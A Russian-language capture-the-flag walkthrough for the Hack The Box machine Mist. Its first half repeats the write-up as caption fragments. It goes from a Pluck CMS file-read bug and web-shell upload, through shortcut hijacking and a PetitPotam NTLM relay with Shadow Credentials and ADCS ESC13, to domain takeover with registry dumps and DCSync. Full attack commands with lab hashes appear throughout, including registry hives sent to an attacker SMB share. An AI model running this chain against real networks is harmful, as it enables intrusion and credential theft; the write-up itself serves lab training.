stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу ряд атак ESC13 на службу сертификации Active Directory, в результате которых мы захватим домен Windows. На пути к этому придется решить еще несколько проблем: получить сессию на хосте через уязвимый веб‑сервис, подменить ярлык, вскрыть хеш пароля при помощи UnPAC the hash, использовать принудительную аутентификацию и атаку Shadow Credentials и применить другие техники атак на AD.
Наша цель — получение прав суперпользователя на машине Mist с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер обнаружил всего один открытый порт: 80 — веб‑сервер Apache 2.4.52. На сайте нас ожидает система Pluck 4.7.18.
Главная страница сайта
Форма аутентификации
Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Идем за ними прямиком в Google.
Поиск эксплоитов в Google
Обнаруживаем, что в этой версии Pluck есть возможность разместить веб‑шелл через загрузку модуля и тем самым получить RCE. Но проблема в том, что сперва нужно получить доступ к управлению веб‑приложением.
Так как версия приложения не самая новая, переходим к поиску других эксплоитов. В модуле albums в функции получения изображений есть Для просмотра ссылки Войдиили Зарегистрируйся, что позволит нам получить содержимое любого файла.
Описание уязвимости
Но пример из PoC не сработал, запрос был заблокирован.
Сообщение о блокировке
Посмотрим, какие еще есть интересные модули и файлы. Для этого просканируем каталоги с помощью Для просмотра ссылки Войдиили Зарегистрируйся. При запуске используем следующие параметры:
Результат сканирования каталогов
Пройдемся по найденным каталогам и заметим, что директория /data/settings/modules/albums не индексируется и мы можем получить доступ ко всем файлам внутри нее.
Содержимое каталога albums
Теперь используем найденную ранее уязвимость LFI для чтения содержимого файла admin_backup.php.
Содержимое файла admin_backup.php
В файле есть какой‑то хеш, попробуем его подобрать.
hashcat 'c81dd.....ce81e' rockyou.txt
Вывод hashcat
Из представленных алгоритмов наиболее популярен SHA2-512. При повторном запуске hashcat добавим номер алгоритма в параметре -m.
Результат подбора пароля
С этим паролем можно авторизоваться в системе Pluck и попробовать получить RCE через загрузку собственного модуля.
Главная страница Pluck
Переходим на страницу Для просмотра ссылки Войдиили Зарегистрируйся и загружаем архив pwn123.zip, который содержит Для просмотра ссылки Войди или Зарегистрируйся. Даем ему название pwn123.php. Затем переходим к странице загруженного модуля:
И нас встречает PHP-шелл.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся.
Сессия в C2 Havoc
Следующим шагом нам нужно собрать информацию. Я буду использовать для этого скрипты PEASS.
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост исполняемый файл для Windows и запустим сканирование. Вывод утилиты будем сохранять в файл.
WinPEAS.exe > wp.txt
Спустя несколько минут командой download скачиваем файл с собранной информацией и просматриваем его на своем компьютере. Там будет много всего, попробуем выделить только то, что нам поможет в продвижении.
В систему выполнили вход три пользователя.
Список залогиненных пользователей
В кеше DNS находим запись о контроллере домена dc01 (192.168.100.100).
Кеш DNS
На хосте есть доступные сетевые ресурсы.
Общие сетевые ресурсы
Больше всего нас должен заинтересовать общий каталог C:\Common Applications, так как это не дефолтная настройка. Просмотрим содержимое этой директории.
Содержимое каталога C:\Common Applications
В общем каталоге — несколько ярлыков, а у нас есть право на запись. Стандартная практика в такой ситуации — поменять ярлык так, чтобы он выполнял нужные нам команды, например запуск агента Havoc.
И спустя пару минут получаем сессию от имени пользователя Brandon.Keywarp.
Информация о сессии
или Зарегистрируйся. Запускать бинари .NET в памяти агента Havoc можно командой dotnet inline-execute.
dotnet inline-execute SharpHound.exe -c All --domaincontroller 192.168.100.100
Построив граф BloodHound от текущего пользователя, можно найти в сети центр сертификации Active Directory.
Граф BloodHound
Так как в домене есть ADCS, а сессию пользователя мы получили без использования каких‑либо учетных данных, нам стоит задействовать технику UnPAC the hash, чтобы выяснить NTLM-хеш пароля пользователя. Первом делом запустим утилиту Для просмотра ссылки Войдиили Зарегистрируйся, чтобы запросить сертификат пользователя.
Получение сертификата пользователя
Сертификат представлен в формате PEM. Копируем его на свою машину и конвертируем в формат PFX.
А теперь с помощью Для просмотра ссылки Войдиили Зарегистрируйся по сертификату пользователя запрашиваем билет TGT и извлекаем из него NTLM-хеш пароля пользователя (параметр getcredentials). Сертификат необходимо закодировать в Base64 и передать в параметре certificate.
Получение NTLM-хеша
Валидировать полученную учетку можно с помощью Для просмотра ссылки Войдиили Зарегистрируйся. Так как трафик необходимо туннелировать, предварительно в агенте Havoc командой socks add 1080 запустим сервер Socks5. В файле /etc/proxychains.conf пропишем настройку socks5 127.0.0.1 1080. Так с помощью proxychains можно туннелировать трафик через агент Havoc во внутреннюю сеть.
Проверка учетных данных
Затем таким же образом проверим подпись LDAP в домене. В этом поможет модуль ldap-checker для команды ldap.
Проверка подписи LDAP
Подпись LDAP в домене не требуется, а значит, будем проверять методы принудительной аутентификации для потенциального выполнения ретрансляционных атак. Запускаем Для просмотра ссылки Войдиили Зарегистрируйся и используем Для просмотра ссылки Войди или Зарегистрируйся для принудительной аутентификации с сервера MS01 на нашем листенере.
Полученный NetNTLMv2-хеш в респондере
На Responder прилетает хеш, а значит, сервер уязвим к PetitPotam.
или Зарегистрируйся активируем на хосте WebDAV. Проверить работу WebDAV можно через Для просмотра ссылки Войди или Зарегистрируйся.
Активация WebDAV
Теперь для эксплуатации PetitPotam c HTTP необходимо сделать надежный туннель. Для этого я использовал тулзу Для просмотра ссылки Войдиили Зарегистрируйся. Загружаем архив на удаленный хост и распаковываем с помощью PowerShell.
Будем туннелировать весь трафик с порта 5432 сервера MS01 на порт 80 нашей атакующей машины.
Почти все готово для атаки, осталось настроить редиректор ntlmrelayx. Для эксплуатации ShadowCreds будем использовать Для просмотра ссылки Войдиили Зарегистрируйся пользователя fortra.
Теперь снова запускаем PetitPotam и в качестве машины для аутентификации указываем MS01@5432.
Сервер пройдет аутентификацию по HTTP, трафик будет туннелирован через Socat на редиректор ntlmrelayx, откуда через Socks трафик Havoc будет туннелирован службе LDAP на контроллере домена.
Выполнение релей‑атаки с HTTP на LDAP
Атака проведена успешно, можем подключиться к интерактивному LDAP-шеллу и использовать технику ShadowCreds для формирования сертификата, который мы повесим на учетную запись машины MS01.
Выполнение ShadowCreds
Теперь снимем пароль с сертификата и через технику UnPAC the hash по сертификату машинной учетной записи получим ее NTLM-хеш.
Хеш пароля пользователя
Используя NTLM-хеш машинной учетной записи, мы можем при помощи инструмента Для просмотра ссылки Войдиили Зарегистрируйся запросить для нее билет TGT, а затем c этим билетом через расширение S4U получить билет TGS для любой службы, работающей от имени машинной учетной записи, на имя любого пользователя домена. Будем получать тикет администратора для службы CIFS.
Получение TGT для MS01$
Получение TGS для Administrator
Благодаря технике AnySPN мы можем использовать полученный TGS для доступа к любой службе на хосте, а не только CIFS. Утилитой Для просмотра ссылки Войдиили Зарегистрируйся сконвертируем его на локальной машине в формат ccache и сдампим учетные данные с хоста MS01.
Содержимое базы SAM на хосте MS01
С хешем локального администратора получаем управление через службу WinRM и читаем первый флаг.
Флаг пользователя
Содержимое каталога C:\Users
Заглянув туда, находим в папке Documents базы менеджера паролей KeePass, а также две картинки в каталоге My Pictures.
Содержимое каталога Documents
Содержимое каталога My Pictures
Скачиваем файлы на локальную машину. На первой картинке изображены обычные коты, а вот на второй скриншот с TODO, запросы в Google и часть ключа.
Скачанные изображения
Видимо, изображение с котами тоже может быть ключевой информацией для базы KeePass. При этом на скриншоте с паролем мы можем узнать первые 14 символов, а над словом Output видим длину полного пароля — 15. Попробуем подобрать единственный неизвестный символ. Первым делом c помощью keepass2john извлечем хеш пароля, а затем по маске подберем недостающий символ.
Получение хеша
Пароль для базы KeePass
Открываем базу и получаем пароль еще одного пользователя домена.
Содержимое базы KeePass
Из базы BloodHound узнаём, что у пользователя есть несколько учетных записей. Судя по подсказке operative account из KeePass, скорее всего, пароль имеет отношение к аккаунту OP_SHARON.MULLARD.
Поиск по базе BloodHound
Для точности валидируем пароль с помощью NetExec.
Проверка учетных данных
Таким образом, мы компрометируем еще одну учетную запись.
Пользователь входит в группу OPERATIVES, которая имеет право чтения пароля управляемой учетной записи SVC_CA$.
Граф BloodHound
SVC_CA$, в свою очередь, входит в группу Certificate Services. Члены этой группы могут запрашивать сертификаты для шаблона ManagerAuthentication и имеют право AddKeyCredentialLink на учетную запись Svc_CaBackup.
Граф BloodHound
Svc_CaBackup может лишь запросить сертификат по тому же шаблону ManagerAuthentication.
Граф BloodHound
Вернемся к управляемой учетной записи SVC_CA$.
Получить хеши паролей MSA можно с помощью модуля gmsa для NetExec.
Хеш пароля svc_ca$
Теперь, воспользовавшись правом AddKeyCredentialLink на учетную запись Svc_CaBackup, проведем атаку Shadow Credentials. Это позволит нам получить хеш пароля учетной записи Svc_CaBackup.
Эксплуатация ShadowCreds
Таким образом, мы скомпрометировали еще две учетные записи.
Граф BloodHound
Группа Certificate Managers входит в другую группу — CA Backup, члены которой могут получить сертификат по шаблону BackupSvcAuthentication. Это шаблон настроен с помощью политики Backup Policy, связанной через OID Group Link с группой Service Accounts.
Граф BloodHound
Граф BloodHound
Техника эксплуатации, известная как ADCS ESC13, позволяет злоумышленнику получить доступ к ресурсам корпоративной сети при определенных условиях. У пользователя или компьютера должны быть права на регистрацию сертификата по шаблону, который настроен с использованием политики выдачи, содержащей OID Group Link — идентификатор, связывающий сертификат с конкретной группой пользователей.
Если пользователь или компьютер, обладающий такими правами, регистрирует сертификат по этому шаблону, то сертификат будет связывать его с определенной группой, указанной в OID Group Link. Это позволяет злоумышленнику, получившему доступ к такому сертификату, входить в сеть с привилегиями члена группы, даже если он не является ее реальным участником.
Будучи членом группы Certificate Services, мы можем получить сертификат по шаблону ManagerAuthentication. Тогда при аутентификации по этому сертификату сервис будет воспринимать нас как члена группы Certificate Managers, хотя фактически мы в ней не состоим.
Перед эксплуатацией обновим запись в файле /etc/hosts.
А теперь запросим сертификат по шаблону ManagerAuthentication от имени пользователя Svc_CaBackup.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь по сертификату получим TGT-билет пользователя. Так как в TGT будет идентификатор группы Certificate Managers, запросим сертификат по шаблону BackupSvcAuthentication.
Получение сертификата BackupSvcAuthentication
Теперь у нас есть сертификат, по которому мы можем аутентифицироваться как член группы Service Accounts.
или Зарегистрируйся снова получаем тикет TGT по сертификату.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь у нас есть билет, который содержит RID группы ServiceAccounts. Члены этой группы имеют право на дамп системных ключей реестра. Нас, конечно же, будут интересовать ключи SAM, SECURITY и SYSTEM, так как они содержат данные не только локальных учетных записей, но и системы.
Сдампить ключи реестра удаленно позволяет скрипт impacket-reg. Но если дамп сохранится на удаленной машине, мы не сможем до него дотянуться. Поэтому с помощью impacket-smbserver откроем свой SMB-ресурс и сохраним дампы на нем.
Дамп ключей реестра
Логи SMB-сервера
Когда дамп уже у нас, распарсим его через impacket-secretsdump.
Учетные данные DC01
Так мы получаем хеш пароля машинной учетной записи контроллера домена, у которой есть право репликации учетных данных. Выполняем DCSync для получения хеша пароля администратора домена.
Результат выполнения DCSync
С полученными учетными данными подключаемся к контроллеру домена по WinRM и забираем второй флаг.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Mist с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.17 mist.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер обнаружил всего один открытый порт: 80 — веб‑сервер Apache 2.4.52. На сайте нас ожидает система Pluck 4.7.18.

Точка входа
При попытке перейти к управлению в системе нас встретит форма аутентификации.
Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Идем за ними прямиком в Google.

Обнаруживаем, что в этой версии Pluck есть возможность разместить веб‑шелл через загрузку модуля и тем самым получить RCE. Но проблема в том, что сперва нужно получить доступ к управлению веб‑приложением.
Так как версия приложения не самая новая, переходим к поиску других эксплоитов. В модуле albums в функции получения изображений есть Для просмотра ссылки Войди

Но пример из PoC не сработал, запрос был заблокирован.

Посмотрим, какие еще есть интересные модули и файлы. Для этого просканируем каталоги с помощью Для просмотра ссылки Войди
- -u — URL;
- -d — глубина сканирования.
feroxbuster -u [URL]http://mist.htb/[/URL] -d 2

Пройдемся по найденным каталогам и заметим, что директория /data/settings/modules/albums не индексируется и мы можем получить доступ ко всем файлам внутри нее.

Теперь используем найденную ранее уязвимость LFI для чтения содержимого файла admin_backup.php.

В файле есть какой‑то хеш, попробуем его подобрать.
Точка опоры
Брутить хеш будем с помощью hashcat. У него есть возможность автоматического определения типа хеша, поэтому передаем ему только хеш и словарь для перебора. Но под этот формат подходит несколько алгоритмов, о чем утилита нам и сообщит.hashcat 'c81dd.....ce81e' rockyou.txt

Из представленных алгоритмов наиболее популярен SHA2-512. При повторном запуске hashcat добавим номер алгоритма в параметре -m.
hashcat -m 1700 'c81dd.....ce81e' rockyou.txt

С этим паролем можно авторизоваться в системе Pluck и попробовать получить RCE через загрузку собственного модуля.

Переходим на страницу Для просмотра ссылки Войди
[URL unfurl="true"]http://10.10.11.17/data/modules/pwn123/pwn123.php[/URL]
И нас встречает PHP-шелл.
Для просмотра ссылки Войди
Продвижение
Так как через веб‑шелл работать неудобно, я воспользовался Для просмотра ссылки Войди
Следующим шагом нам нужно собрать информацию. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост исполняемый файл для Windows и запустим сканирование. Вывод утилиты будем сохранять в файл.
WinPEAS.exe > wp.txt
Спустя несколько минут командой download скачиваем файл с собранной информацией и просматриваем его на своем компьютере. Там будет много всего, попробуем выделить только то, что нам поможет в продвижении.
В систему выполнили вход три пользователя.

В кеше DNS находим запись о контроллере домена dc01 (192.168.100.100).

На хосте есть доступные сетевые ресурсы.

Больше всего нас должен заинтересовать общий каталог C:\Common Applications, так как это не дефолтная настройка. Просмотрим содержимое этой директории.

В общем каталоге — несколько ярлыков, а у нас есть право на запись. Стандартная практика в такой ситуации — поменять ярлык так, чтобы он выполнял нужные нам команды, например запуск агента Havoc.
Код:
powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = $objShell.CreateShortcut('C:\Common Applications\Calculator.lnk') ; $lnk.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"
powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = $objShell.CreateShortcut('C:\Common Applications\Notepad.lnk') ; $lnk.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"
powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = $objShell.CreateShortcut('C:\Common Applications\Wordpad.lnk') ; $lnk.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"
И спустя пару минут получаем сессию от имени пользователя Brandon.Keywarp.

Пользователь Brandon.Keywarp
Теперь, когда мы получили сессию доменного пользователя, можно собрать информацию в домене. Лучше всего для этого подходит инструмент Для просмотра ссылки Войдиdotnet inline-execute SharpHound.exe -c All --domaincontroller 192.168.100.100
Построив граф BloodHound от текущего пользователя, можно найти в сети центр сертификации Active Directory.

Так как в домене есть ADCS, а сессию пользователя мы получили без использования каких‑либо учетных данных, нам стоит задействовать технику UnPAC the hash, чтобы выяснить NTLM-хеш пароля пользователя. Первом делом запустим утилиту Для просмотра ссылки Войди
dotnet inline-execute /home/ralf/tmp/SharpCollection/last/Certify.exe request /ca:DC01.mist.htb\mist-DC01-CA /template:User

Сертификат представлен в формате PEM. Копируем его на свою машину и конвертируем в формат PFX.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
А теперь с помощью Для просмотра ссылки Войди
.\Rubeus.exe asktgt /user:brandon.keywarp /certificate:..... /getcredentials /show /nowrap

Валидировать полученную учетку можно с помощью Для просмотра ссылки Войди
proxychains -q nxc smb 192.168.100.101 -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9

Затем таким же образом проверим подпись LDAP в домене. В этом поможет модуль ldap-checker для команды ldap.
proxychains -q nxc ldap dc01.mist.htb -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9 -M ldap-checker

Подпись LDAP в домене не требуется, а значит, будем проверять методы принудительной аутентификации для потенциального выполнения ретрансляционных атак. Запускаем Для просмотра ссылки Войди
proxychains -q python3 PetitPotam.py -u 'brandon.keywarp' -d mist.htb -hashes ':db03d6a77a2205bc1d07082740626cc9' 10.10.14.8 192.168.100.101 -pipe all

На Responder прилетает хеш, а значит, сервер уязвим к PetitPotam.
NTLM Relay
Первая идея — это релей хеша на LDAP для выполнения ShadowCreds и компрометации хоста. Но для этого хеш должен быть не с SMB, так как там используется подпись, а с HTTP. Для этого с помощью утилиты Для просмотра ссылки Войдиshell GetWebDAVStatus.exe 192.168.100.101
shell SharpStartWebclient.exe

Теперь для эксплуатации PetitPotam c HTTP необходимо сделать надежный туннель. Для этого я использовал тулзу Для просмотра ссылки Войди
Expand-Archive -Path C:\xampp\htdocs\files\socat.zip -DestinationPath C:\xampp\htdocs\files\
Будем туннелировать весь трафик с порта 5432 сервера MS01 на порт 80 нашей атакующей машины.
shell socat.exe tcp-listen:5432,reuseaddr,fork tcp:10.10.14.8:80
Почти все готово для атаки, осталось настроить редиректор ntlmrelayx. Для эксплуатации ShadowCreds будем использовать Для просмотра ссылки Войди
Код:
pip3 install pyOpenSSL==24.0.0
proxychains -q ntlmrelayx.py -t ldaps://dc01.mist.htb -smb2support -domain mist.htb --http-port 8888 --no-smb -i
Теперь снова запускаем PetitPotam и в качестве машины для аутентификации указываем MS01@5432.
proxychains -q python3 PetitPotam.py -u 'brandon.keywarp' -d mist.htb -hashes ':db03d6a77a2205bc1d07082740626cc9' -pipe all 'MS01@5432/ralf' '192.168.100.101'
Сервер пройдет аутентификацию по HTTP, трафик будет туннелирован через Socat на редиректор ntlmrelayx, откуда через Socks трафик Havoc будет туннелирован службе LDAP на контроллере домена.

Атака проведена успешно, можем подключиться к интерактивному LDAP-шеллу и использовать технику ShadowCreds для формирования сертификата, который мы повесим на учетную запись машины MS01.
nc 127.0.0.1 11000
Код:
clear_shadow_creds MS01$
set_shadow_creds MS01$

Теперь снимем пароль с сертификата и через технику UnPAC the hash по сертификату машинной учетной записи получим ее NTLM-хеш.
certipy cert -export -pfx '87A0bfVH.pfx' -password 'oNOsPXtyUUkIkyCHgY0b' -out ms01.pfx
proxychains -q certipy auth -pfx ms01.pfx -domain mist.htb -username 'MS01$' -dc-ip 192.168.100.100 -ns 192.168.100.100

Используя NTLM-хеш машинной учетной записи, мы можем при помощи инструмента Для просмотра ссылки Войди
dotnet inline-execute Rubeus.exe asktgt /nowrap /user:ms01$ /domain:mist.htb /rc4:6c8836240c39914164ee3d85fe4bf352 /nowrap

dotnet inline-execute Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"cifs/ms01.mist.htb" /ticket:doIFLDC.....C5odGI= /nowrap

Благодаря технике AnySPN мы можем использовать полученный TGS для доступа к любой службе на хосте, а не только CIFS. Утилитой Для просмотра ссылки Войди
Код:
python3 rubeustoccache.py 'doIF2.....5odGI=' ms01.kirbi ms01.ccache
KRB5CCNAME=/ms01.ccache proxychains -q impacket-secretsdump 'mist.htb/Administrator'@ms01.mist.htb -k -no-pass

С хешем локального администратора получаем управление через службу WinRM и читаем первый флаг.
proxychains -q evil-winrm -i 192.168.100.101 -u Administrator -H 711e6a685af1c31c4029c3c7681dd97b

Пользователь OP_SHARON.MULLARD
Запускаем на хосте агент Havoc от имени администратора и просматриваем файловую систему. В папке Users находим домашний каталог пользователя Sharon.Mullard.
Заглянув туда, находим в папке Documents базы менеджера паролей KeePass, а также две картинки в каталоге My Pictures.


Скачиваем файлы на локальную машину. На первой картинке изображены обычные коты, а вот на второй скриншот с TODO, запросы в Google и часть ключа.

Видимо, изображение с котами тоже может быть ключевой информацией для базы KeePass. При этом на скриншоте с паролем мы можем узнать первые 14 символов, а над словом Output видим длину полного пароля — 15. Попробуем подобрать единственный неизвестный символ. Первым делом c помощью keepass2john извлечем хеш пароля, а затем по маске подберем недостающий символ.

hashcat -a 3 -m 13400 keepass_hash.txt 'UA7cpa[#1!_*ZX?'

Открываем базу и получаем пароль еще одного пользователя домена.

Из базы BloodHound узнаём, что у пользователя есть несколько учетных записей. Судя по подсказке operative account из KeePass, скорее всего, пароль имеет отношение к аккаунту OP_SHARON.MULLARD.

Для точности валидируем пароль с помощью NetExec.
Код:
proxychains -q nxc smb 192.168.100.101 -d mist.htb -u 'OP_SHARON.MULLARD' -p 'ImTiredOfThisJob'
proxychains -q nxc smb 192.168.100.101 -d mist.htb -u 'SHARON.MULLARD' -p 'ImTiredOfThisJob'

Таким образом, мы компрометируем еще одну учетную запись.
Группа Certificate Managers
Возвращаемся к BloodHound и перестраиваем граф от пользователя OP_SHARON.MULLARD.Пользователь входит в группу OPERATIVES, которая имеет право чтения пароля управляемой учетной записи SVC_CA$.

SVC_CA$, в свою очередь, входит в группу Certificate Services. Члены этой группы могут запрашивать сертификаты для шаблона ManagerAuthentication и имеют право AddKeyCredentialLink на учетную запись Svc_CaBackup.

Svc_CaBackup может лишь запросить сертификат по тому же шаблону ManagerAuthentication.

Вернемся к управляемой учетной записи SVC_CA$.
Справка: управляемые учетные записи
Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем таких учетных записей полностью управляет Active Directory. Для них автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.Получить хеши паролей MSA можно с помощью модуля gmsa для NetExec.
proxychains -q nxc ldap dc01.mist.htb -d mist.htb -u 'OP_SHARON.MULLARD' -p 'ImTiredOfThisJob:(' --gmsa

Теперь, воспользовавшись правом AddKeyCredentialLink на учетную запись Svc_CaBackup, проведем атаку Shadow Credentials. Это позволит нам получить хеш пароля учетной записи Svc_CaBackup.
proxychains -q certipy shadow auto -username 'svc_ca$@mist.htb' -hashes :510b6e5c88b2282cea97e68d5185b4a4 -account svc_cabackup -dc-ip 192.168.100.100

Таким образом, мы скомпрометировали еще две учетные записи.
ESC13
Теперь построим граф от группы Certificate Services и увидим интересные связи. Члены этой группы могут получить сертификат по шаблону ManagerAuthentication. Этот шаблон настроен с помощью политики ManagerIssuance, связанной через OID Group Link с группой Certificate Managers.
Группа Certificate Managers входит в другую группу — CA Backup, члены которой могут получить сертификат по шаблону BackupSvcAuthentication. Это шаблон настроен с помощью политики Backup Policy, связанной через OID Group Link с группой Service Accounts.


Техника эксплуатации, известная как ADCS ESC13, позволяет злоумышленнику получить доступ к ресурсам корпоративной сети при определенных условиях. У пользователя или компьютера должны быть права на регистрацию сертификата по шаблону, который настроен с использованием политики выдачи, содержащей OID Group Link — идентификатор, связывающий сертификат с конкретной группой пользователей.
Если пользователь или компьютер, обладающий такими правами, регистрирует сертификат по этому шаблону, то сертификат будет связывать его с определенной группой, указанной в OID Group Link. Это позволяет злоумышленнику, получившему доступ к такому сертификату, входить в сеть с привилегиями члена группы, даже если он не является ее реальным участником.
Будучи членом группы Certificate Services, мы можем получить сертификат по шаблону ManagerAuthentication. Тогда при аутентификации по этому сертификату сервис будет воспринимать нас как члена группы Certificate Managers, хотя фактически мы в ней не состоим.
Перед эксплуатацией обновим запись в файле /etc/hosts.
192.168.100.100 dc01.mist.htb mist.htb mist-DC01-CA
А теперь запросим сертификат по шаблону ManagerAuthentication от имени пользователя Svc_CaBackup.
proxychains -q certipy req -u '[EMAIL]svc_cabackup@mist.htb[/EMAIL]' -hashes :c9872f1bc10bdd522c12fc2ac9041b64 -dc-ip 192.168.100.100 -dns 192.168.100.100 -dns-tcp -ca mist-DC01-CA -target DC01.mist.htb -template ManagerAuthentication -key-size 4096 -out ~/tmp/HTB/mist/ManagerAuthentication
Для просмотра ссылки Войди
Теперь по сертификату получим TGT-билет пользователя. Так как в TGT будет идентификатор группы Certificate Managers, запросим сертификат по шаблону BackupSvcAuthentication.
proxychains -q certipy auth -pfx /home/ralf/tmp/HTB/mist/ManagerAuthentication.pfx -dc-ip 192.168.100.100
KRB5CCNAME=svc_cabackup.ccache proxychains -q certipy req -u '[EMAIL]svc_cabackup@mist.htb[/EMAIL]' -k -no-pass -dc-ip 192.168.100.100 -dns 192.168.100.100 -dns-tcp -ca mist-DC01-CA -target DC01.mist.htb -template 'BackupSvcAuthentication' -key-size 4096 -out ~/tmp/HTB/mist/BackupSvcAuthentication

Теперь у нас есть сертификат, по которому мы можем аутентифицироваться как член группы Service Accounts.
Локальное повышение привилегий
С помощью скрипта Для просмотра ссылки Войди
proxychains -q certipy auth -pfx /home/ralf/tmp/HTB/mist/BackupSvcAuthentication.pfx -dc-ip 192.168.100.100
Для просмотра ссылки Войди
Теперь у нас есть билет, который содержит RID группы ServiceAccounts. Члены этой группы имеют право на дамп системных ключей реестра. Нас, конечно же, будут интересовать ключи SAM, SECURITY и SYSTEM, так как они содержат данные не только локальных учетных записей, но и системы.
Сдампить ключи реестра удаленно позволяет скрипт impacket-reg. Но если дамп сохранится на удаленной машине, мы не сможем до него дотянуться. Поэтому с помощью impacket-smbserver откроем свой SMB-ресурс и сохраним дампы на нем.
Код:
sudo smbserver.py -smb2support share .
KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save -keyName 'HKLM\SAM' -o '\\10.10.14.45\share'
KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save -keyName 'HKLM\SECURITY' -o '\\10.10.14.45\share'
KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save -keyName 'HKLM\SYSTEM' -o '\\10.10.14.45\share'


Когда дамп уже у нас, распарсим его через impacket-secretsdump.
secretsdump.py -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL

Так мы получаем хеш пароля машинной учетной записи контроллера домена, у которой есть право репликации учетных данных. Выполняем DCSync для получения хеша пароля администратора домена.
proxychains -q secretsdump.py 'mist.htb/DC01$'@192.168.100.100 -hashes :e768c4cf883a87ba9e96278990292260 -just-dc-user Administrator

С полученными учетными данными подключаемся к контроллеру домена по WinRM и забираем второй флаг.
proxychains -q evil-winrm -i 192.168.100.100 -u Administrator -H b46782b9365344abdff1a925601e0385

Машина захвачена!